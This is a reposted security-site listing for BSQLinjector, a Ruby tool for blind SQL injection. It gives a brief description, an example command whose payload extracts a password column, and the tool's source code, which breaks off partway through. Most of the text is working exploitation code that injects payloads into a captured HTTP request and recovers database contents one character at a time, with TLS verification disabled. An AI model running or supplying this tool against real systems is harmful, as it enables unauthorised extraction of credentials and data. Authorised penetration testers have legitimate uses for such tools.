Quantcast
Channel: Exploits – Security List Network™
Viewing all 514 articles
Browse latest View live

BSQLinjector – Blind SQL injection exploitation tool written in ruby.

$
0
0

BSQLinjector uses blind method to retrieve data from SQL databases. I recommend using “–test” switch to clearly see how configured payload looks like before sending it to an application.

Blind SQL injection exploitation tool written in ruby.

Blind SQL injection exploitation tool written in ruby.

Support Platform
– Windows using MinGW
– All Linux and Unix Platform

Example usage:
ruby BSQLinjector.rb –pattern=truestatement –file=/tmp/req.txt –prepend=”abcd’and’a’=’b’+union+select+’truestatement’+from+table+where+col%3d’value’+and+substr(password,” –append=”‘#” –ssl
BSQLInjector.rb Script:

#!/usr/bin/env ruby

require 'uri'
require 'net/http'
require 'net/https'

# CONFIGURE
$file = "" # file with vulnerable HTTP request
$secfile = "" # file with second request (2nd order)
$prepend = "" # most of SQL statement
$append = "" # how to end SQL statement

$proto = "http" # protocol to use - http/https
$proxy = "" # proxy host
$proxy_port = "" # proxy port

$mode = "b" # mode to use (between - b (default - this mode generates less requests), moreless - a (this mode generates less requests by comparing characters using \"<\", \">\", \"=\" characters), like - l (complete bruteforce with like), equals - e (complete bruteforce with =))
$hex = "n" # if hex should be used in comparing

$max = 1000; # maximum chars to enumerate
$search = ""; # what is the pattern to look for when query is TRUE

$comma = "n" # if comma should be URL encoded
$oh = "" # this character is used when opening string when comparing
$bracket = ")" # substring ending brackets
$case = "n" # setting case sensitivity

$verbose = "n" # verbose messaging
$test = "n" # test mode
timeout = 20 # timeout for receiving responses
alls = "n" # if all special characters should be included in enumeration

$i = 0 # main counter for characters

# set all variables
ARGV.each do |arg|
	$file = arg.split("=")[1] if arg.include?("--file=")
	$proto = "https" if arg.include?("--ssl")
	$proxy = arg.split("=")[1].split(":")[0] if arg.include?("--proxy=")
	$proxy_port = arg.split("=")[1].split(":")[1] if arg.include?("--proxy=")
	$verbose = "y" if arg.include?("--verbose")
	timeout = Integer(arg.split("=")[1]) if arg.include?("--timeout=")
	$comma = "y" if arg.include?("--comma")
	$secfile = arg.split("=")[1] if arg.include?("--2ndfile=")
	$max = arg.split("=")[1].to_i if arg.include?("--max=")
	$mode = arg.split("=")[1] if arg.include?("--mode=")
	$hex = "y" if arg.include?("--hex")
	$oh = arg.split("=")[1] if arg.include?("--schar=")
	$case = "y" if arg.include?("--case")
	$i = arg.split("=")[1].to_i - 1 if arg.include?("--start=")
	$test = "y" if arg.include?("--test")
	$bracket = arg.split("=")[1].to_i - 1 if arg.include?("--bracket=")
	alls = "y" if arg.include?("--special")

	$search = arg.split("=")[1] if arg.include?("--pattern=") && arg.count("=") == 1
	$prepend = arg.split("=")[1] if arg.include?("--prepend=") && arg.count("=") == 1
	$append = arg.split("=")[1] if arg.include?("--append=") && arg.count("=") == 1
	$search = arg.split("=")[1..-1].join("=") if arg.include?("--pattern=") && arg.count("=") > 1
	$prepend = arg.split("=")[1..-1].join("=") if arg.include?("--prepend=") && arg.count("=") > 1
	$append = arg.split("=")[1..-1].join("=") if arg.include?("--append=") && arg.count("=") > 1
end

# show main menu
if ARGV.nil? || ARGV.size < 3 || $file == "" || ($search == "" && $test == "n")
	puts "BSQLinjector by Jakub Pa\u0142aczy\u0144ski"
	puts ""
	puts "BSQLinjector uses blind method to retrieve data from SQL databases."
	puts ""
	puts "Options:"
	puts "  --file	Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)"
	puts "  --pattern	Mandatory - Pattern to look for when query is true. (--pattern=truestatement)"
	puts "  --prepend	Mandatory - Main payload. (--prepend=\"abcd\'and\'a\'=\'b\'+union+select+\'truestatement\'+from+table+where+col%3d\'value\'+and+substr(password,\""
	puts "  --append	How to end our payload. For example comment out rest of SQL statement. (--append=\'#)"
	puts "  --2ndfile	File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)"
	puts ""
	puts "  --mode	Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using \"<\", \">\", \"=\" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)"
	puts "  --hex		Use hex to compare instead of characters."
	puts "  --case	Case sensitivity."
	puts ""
	puts "  --ssl		Use SSL."
	puts "  --proxy	Proxy to use. (--proxy=127.0.0.1:8080)"
	puts ""
	puts "  --test	Enable test mode. Do not send request, just show full payload."
	puts "  --comma	Encode comma."
	puts "  --bracket	Add brackets to the end of substring function. --bracket=\"))\""
	puts "  --schar	Character placed around chars. This character is not used while in hex mode. (--schar=\"\'\")"
	puts "  --special	Include all special characters in enumeration."
	puts "  --start	Start enumeration from specified character. (--start=10)"
	puts "  --max		Maximum characters to enumerate. (--max=10)"
	puts "  --timeout	Timeout in waiting for responses. (--timeout=20)"
	puts "  --verbose	Show verbose messages."
	puts ""
	puts "Example usage:"
	puts "  ruby #{__FILE__} --pattern=truestatement --file=/tmp/req.txt --prepend=\"abcd\'and\'a\'=\'b\'+union+select+\'truestatement\'+from+table+where+col%3d\'value\'+and+substr(password,\" --append=\"\'#\" --ssl"
	puts ""
	exit(1)
else
	puts "BSQLinjector by Jakub Pa\u0142aczy\u0144ski"
	puts ""
end

# EXECUTION

# holds HTTP responses
$response = ""

# arrays for Blind exploitation
$arrs = [",", "_", "."]
if alls == "y"
	$arrs += ["+", "/", ":", "-", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "`", "[", "]", "{", "}", ";", "<", ">", "?", "|", "\\", "\""]
end
$arrn1 = ["0", "1", "2", "3", "4"]
$arrn2 = ["5", "6", "7", "8", "9"]
$arr1 = ["a", "b", "c"]
$arr2 = ["d", "e", "f"]
$arr3 = ["g", "h", "i"]
$arr4 = ["j", "k", "l", "m"]
$arr5 = ["n", "o", "p"]
$arr6 = ["q", "r", "s"]
$arr7 = ["t", "u", "v"]
$arr8 = ["w", "x", "y", "z"]

# for case sensitive
$arr9 = ["A", "B", "C"]
$arr10 = ["D", "E", "F"]
$arr11 = ["G", "H", "I"]
$arr12 = ["J", "K", "L", "M"]
$arr13 = ["N", "O", "P"]
$arr14 = ["Q", "R", "S"]
$arr15 = ["T", "U", "V"]
$arr16 = ["W", "X", "Y", "Z"]

$arrays = $arr1 + $arr2 + $arr3 + $arr4 + $arr5 + $arr6 + $arr7 + $arr8 + $arrn1 + $arrn2 + $arrs
$arraysc = $arr1 + $arr2 + $arr3 + $arr4 + $arr5 + $arr6 + $arr7 + $arr8 + $arr9 + $arr10 + $arr11 + $arr12 + $arr13 + $arr14 + $arr15 + $arr16 + $arrn1 + $arrn2 + $arrs

# other parameters
$result = ""

### Processing Request File ###

# Configure basic options

# set proxy
if $proxy == ""
	$proxy = nil
	$proxy_port = nil
end

if $hex == "y"
	$oh = ""
end

# get connection host and port
z = 1
loop do
	break if File.readlines($file)[z].chomp.empty?
	if File.readlines($file)[z].include?("Host: ")
		$remote = File.readlines($file)[z].split(" ")[1]
		if $proto == "http"
			$port = 80
		else
			$port = 443
		end
		if $remote.include?(":")
			$port = $remote.split(":")[1]
			$remote = $remote.split(":")[0]
		end
	end
	z = z + 1
end

# Configure main request
def configreq(chars)

	# test mode
	if $test == "y"
		puts "Payload example:"
		if $comma == "y"
			puts $prepend + $i.to_s + "%2C1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append
		else
			puts $prepend + $i.to_s + ",1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append
		end
		exit(1)
	end

	found = 0 # for detecting injected payload

	# check HTTP method
	if File.readlines($file)[0].include?("GET ")
		$method = "get"
	else
		$method = "post"
	end

	# get URI path
	$uri = File.readlines($file)[0].split(" ")[1]
	turi = URI.decode($uri).gsub("+", " ")
	if turi.include?("SQLINJECT")
		if $comma == "y"
			$uri = $uri.sub("SQLINJECT", $prepend + $i.to_s + "%2C1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
		else
			$uri = $uri.sub("SQLINJECT", $prepend + $i.to_s + ",1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
		end
		found = found + 1
	end
	
	# get headers
	i = 1
	$headers = Hash.new
	loop do
		break if File.readlines($file)[i].chomp.empty?
		if !File.readlines($file)[i].include?("Host: ")
			header = File.readlines($file)[i].chomp
			if header.include?("SQLINJECT")
				if $comma == "y"
					header = header.sub("SQLINJECT", $prepend + $i.to_s + "%2C1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
				else
					header = header.sub("SQLINJECT", $prepend + $i.to_s + ",1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
				end
				found = found + 1
			end
			if header.include?("Accept-Encoding")
			else
				$headers[header.split(": ")[0]] = header.split(": ")[1]
			end
		end
		i = i + 1
	end

	# get POST body
	i = i + 1
	$post = ""
	postfind = 0
	if $method == "post"
		loop do
			break if File.readlines($file)[i].nil?
			postline = File.readlines($file)[i]
			tline = postline.gsub("+", " ")
			if tline.include?("SQLINJECT")
				if $comma == "y"
					postline = postline.sub("SQLINJECT", $prepend + $i.to_s + "%2C1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
				else
					postline = postline.sub("SQLINJECT", $prepend + $i.to_s + ",1" + $bracket + chars.sub("%", "%25").sub("&", "%26").sub("+", "%2B").sub(";", "%3B").sub("#", "%23") + $append)
				end
				found = found + 1
			end
			$post += postline
			i = i + 1
		end
	end

	# update Content-Length header
	if $method == "post"
		$headers["Content-Length"] = String($post.bytesize)
	end

	# detect injection point
	if found == 0
		puts "Please specify injection point. Put \"SQLINJECT\" in place where payload should be injected."
		exit(1)
	elsif found > 1
		puts "Multiple instances of injection point found. Please specify only one injection point."
		exit(1)
	end

	# configuring request
	$request = Net::HTTP.new($remote, $port, $proxy, $proxy_port)

	# set HTTPS
	if $proto == "https"
		$request.use_ssl = true
		$request.verify_mode = OpenSSL::SSL::VERIFY_NONE
	end
end

### End of Processing Request File ###

### Configure request for 2nd order case ###
if $secfile != ""

	# check HTTP method
	if File.readlines($secfile)[0].include?("GET ")
		$secmethod = "get"
	else
		$secmethod = "post"
	end

	# get URI path
	$securi = File.readlines($secfile)[0].split(" ")[1]

	# get headers
	y = 1
	$secheaders = Hash.new
	loop do
		break if File.readlines($secfile)[y].chomp.empty?
		if !File.readlines($secfile)[y].include?("Host: ")
			header = File.readlines($secfile)[y].chomp
			if header.include?("Accept-Encoding")
			else
				$secheaders[header.split(": ")[0]] = header.split(": ")[1]
			end
		end
		y = y + 1
	end

	# get POST body
	y = y + 1
	$secpost = ""
	if $method == "post"
		loop do
			break if File.readlines($secfile)[y].nil?
			postline = File.readlines($secfile)[y]
			$secpost += postline
			y = y + 1
		end
	end

	# configuring 2nd request
	$secrequest = Net::HTTP.new($remote, $port, $proxy, $proxy_port)

	# set HTTPS
	if $proto == "https"
		$secrequest.use_ssl = true
		$secrequest.verify_mode = OpenSSL::SSL::VERIFY_NONE
	end
end

### End of Processing 2nd Request File ###

# Sending request
def sendreq()
	
	if $verbose == "y"
		puts "Sending request:"
		if $proto == "http"
			puts "http://#{$remote}:#{$port}#{$uri}"
			puts $headers
			puts "\n"
			puts $post
			puts "\n"
		else
			puts "https://#{$remote}:#{$port}#{$uri}"
			puts $headers
			puts "\n"
			puts $post
			puts "\n"
		end
	end
	
	$response = ""
	$request.start { |r|
		begin
			status = Timeout::timeout($time) {
    				if $method == "post"
					$response = r.post($uri, $post, $headers) 
				else
					$response = r.get($uri, $headers)
				end
  			}
		rescue Timeout::Error
		end
	}
end

# Sending second request
def send2ndreq()
	
	if $verbose == "y"
		puts "Sending second request:"
		if $proto == "http"
			puts "http://#{$remote}:#{$port}#{$securi}"
			puts $secheaders
			puts "\n"
			puts $secpost
			puts "\n"
		else
			puts "https://#{$remote}:#{$port}#{$securi}"
			puts $secheaders
			puts "\n"
			puts $secpost
			puts "\n"
		end
	end
	
	$response = ""
	$secrequest.start { |r|
		begin
			status = Timeout::timeout($time) {
    				if $method == "post"
					$response = r.post($securi, $secpost, $secheaders) 
				else
					$response = r.get($securi, $secheaders)
				end
  			}
		rescue Timeout::Error
		end
	}
end

until $i >= $max  do
	$i = $i + 1
	found = 0
	if ($result == "aaaaa")
        	puts "It seems like your payload gives always true condition. Try another parameter\'s value or different payload.\n";
        	break
        end

	if $mode == "e"
		if $case == "n"
			for ch in $arrays
				if $hex == "y"
					configreq("=" + "0x" + ch.unpack('H*')[0])
				else
					configreq("=" + $oh + ch)
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					$result = $result + ch
	    	                    	puts "Letter " + $i.to_s + " found: " + ch
					found = 1
	    	                    	break
				end
			end
		else
			for ch in $arraysc
				if $hex == "y"
					configreq("=" + "0x" + ch.unpack('H*')[0])
				else
					configreq("=" + $oh + ch)
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					$result = $result + ch
	    	                    	puts "Letter " + $i.to_s + " found: " + ch
					found = 1
	    	                    	break
				end
			end
		end
	elsif $mode == "l"
		if $case == "n"
			for ch in $arrays
				if ch != "%" && ch != "_"
					if $hex == "y"
						configreq("like" + " " + "0x" + ch.unpack('H*')[0])
					else
						configreq("like" + $oh + ch)
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						$result = $result + ch
		    	                    	puts "Letter " + $i.to_s + " found: " + ch
						found = 1
		    	                    	break
					end
				end
			end
		else
			for ch in $arraysc
				if ch != "%" && ch != "_"
					if $hex == "y"
						configreq("like" + " " + "0x" + ch.unpack('H*')[0])
					else
						configreq("like" + $oh + ch)
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						$result = $result + ch
		    	                    	puts "Letter " + $i.to_s + " found: " + ch
						found = 1
		    	                    	break
					end
				end
			end
		end

	elsif $mode == "b"

		# lowercase
		if $hex == "y"
			configreq(" between" + " 0x" + "a".unpack('H*')[0] + " and " + "0x" + "z".unpack('H*')[0])
		else
			configreq("between" + $oh + "a" + $oh + "and" + $oh + "z")
		end
		sendreq()
		send2ndreq() if $secfile != ""
		$fheader = "n"
		$response.to_hash.each { |k,v|
			$fheader = "y" if k.to_s.include?($search)
			$fheader = "y" if v.to_s.include?($search)
		}
		if $response.body.include?($search) || $fheader == "y"
			if $hex == "y"
				configreq(" between" + " 0x" + "a".unpack('H*')[0] + " and " + "0x" + "m".unpack('H*')[0])
			else
				configreq("between" + $oh + "a" + $oh + "and" + $oh + "m")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq(" between" + " 0x" + "a".unpack('H*')[0] + " and " + "0x" + "f".unpack('H*')[0])
				else
					configreq("between" + $oh + "a" + $oh + "and" + $oh + "f")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq(" between" + " 0x" + "a".unpack('H*')[0] + " and " + "0x" + "c".unpack('H*')[0])
					else
						configreq("between" + $oh + "a" + $oh + "and" + $oh + "c")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr1
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr2
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				else
					if $hex == "y"
						configreq(" between" + " 0x" + "g".unpack('H*')[0] + " and " + "0x" + "i".unpack('H*')[0])
					else
						configreq("between" + $oh + "g" + $oh + "and" + $oh + "i")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr3
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr4
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				end
			else
				if $hex == "y"
					configreq(" between" + " 0x" + "n".unpack('H*')[0] + " and " + "0x" + "s".unpack('H*')[0])
				else
					configreq("between" + $oh + "n" + $oh + "and" + $oh + "s")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq(" between" + " 0x" + "n".unpack('H*')[0] + " and " + "0x" + "p".unpack('H*')[0])
					else
						configreq("between" + $oh + "n" + $oh + "and" + $oh + "p")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr5
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr6
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				else
					if $hex == "y"
						configreq(" between" + " 0x" + "t".unpack('H*')[0] + " and " + "0x" + "v".unpack('H*')[0])
					else
						configreq("between" + $oh + "t" + $oh + "and" + $oh + "v")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						for ch in $arr7
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					else
						for ch in $arr8
							if $hex == "y"
								configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
							else
								configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
							end
							sendreq()
							send2ndreq() if $secfile != ""
							$fheader = "n"
							$response.to_hash.each { |k,v|
								$fheader = "y" if k.to_s.include?($search)
								$fheader = "y" if v.to_s.include?($search)
							}
							if $response.body.include?($search) || $fheader == "y"
								$result = $result + ch
		    	      			              	puts "Letter " + $i.to_s + " found: " + ch
								found = 1
				   	                    	break
							end
						end
					end
				end
			end
		end

		# uppercase - only when case-sensitive specified
		if $case == "y" && found == 0
			if $hex == "y"
				configreq(" between" + " 0x" + "A".unpack('H*')[0] + " and " + "0x" + "Z".unpack('H*')[0])
			else
				configreq("between" + $oh + "A" + $oh + "and" + $oh + "Z")
			end
			sendreq()
			send2ndreq() if $secfile != ""
			$fheader = "n"
			$response.to_hash.each { |k,v|
				$fheader = "y" if k.to_s.include?($search)
				$fheader = "y" if v.to_s.include?($search)
			}
			if $response.body.include?($search) || $fheader == "y"
				if $hex == "y"
					configreq(" between" + " 0x" + "A".unpack('H*')[0] + " and " + "0x" + "M".unpack('H*')[0])
				else
					configreq("between" + $oh + "A" + $oh + "and" + $oh + "M")
				end
				sendreq()
				send2ndreq() if $secfile != ""
				$fheader = "n"
				$response.to_hash.each { |k,v|
					$fheader = "y" if k.to_s.include?($search)
					$fheader = "y" if v.to_s.include?($search)
				}
				if $response.body.include?($search) || $fheader == "y"
					if $hex == "y"
						configreq(" between" + " 0x" + "A".unpack('H*')[0] + " and " + "0x" + "F".unpack('H*')[0])
					else
						configreq("between" + $oh + "A" + $oh + "and" + $oh + "F")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						if $hex == "y"
							configreq(" between" + " 0x" + "A".unpack('H*')[0] + " and " + "0x" + "C".unpack('H*')[0])
						else
							configreq("between" + $oh + "A" + $oh + "and" + $oh + "C")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr9
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr10
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					else
						if $hex == "y"
							configreq(" between" + " 0x" + "G".unpack('H*')[0] + " and " + "0x" + "I".unpack('H*')[0])
						else
							configreq("between" + $oh + "G" + $oh + "and" + $oh + "I")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr11
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr12
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					end
				else
					if $hex == "y"
						configreq(" between" + " 0x" + "N".unpack('H*')[0] + " and " + "0x" + "S".unpack('H*')[0])
					else
						configreq("between" + $oh + "N" + $oh + "and" + $oh + "S")
					end
					sendreq()
					send2ndreq() if $secfile != ""
					$fheader = "n"
					$response.to_hash.each { |k,v|
						$fheader = "y" if k.to_s.include?($search)
						$fheader = "y" if v.to_s.include?($search)
					}
					if $response.body.include?($search) || $fheader == "y"
						if $hex == "y"
							configreq(" between" + " 0x" + "N".unpack('H*')[0] + " and " + "0x" + "P".unpack('H*')[0])
						else
							configreq("between" + $oh + "N" + $oh + "and" + $oh + "P")
						end
						sendreq()
						send2ndreq() if $secfile != ""
						$fheader = "n"
						$response.to_hash.each { |k,v|
							$fheader = "y" if k.to_s.include?($search)
							$fheader = "y" if v.to_s.include?($search)
						}
						if $response.body.include?($search) || $fheader == "y"
							for ch in $arr13
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						else
							for ch in $arr14
								if $hex == "y"
									configreq(" between" + " 0x" + ch.unpack('H*')[0] + " and " + "0x" + ch.unpack('H*')[0])
								else
									configreq("between" + $oh + ch + $oh + "and" + $oh + ch)
								end
								sendreq()
								send2ndreq() if $secfile != ""
								$fheader = "n"
								$response.to_hash.each { |k,v|
									$fheader = "y" if k.to_s.include?($search)
									$fheader = "y" if v.to_s.include?($search)
								}
								if $response.body.include?($search) || $fheader == "y"
									$result = $result + ch
			    	      			              	puts "Letter " + $i.to_s + " found: " + ch
									found = 1
					   	                    	break
								end
							end
						end
					else
						if $hex == "y"
							configreq(" between" + " 0x" + "T".unpack('H*')[0] + " and " + "0x" + "V".unpack('H*')[0])
						else
							configreq("between" + $oh + "T" + $oh + "and" + $oh + "V")
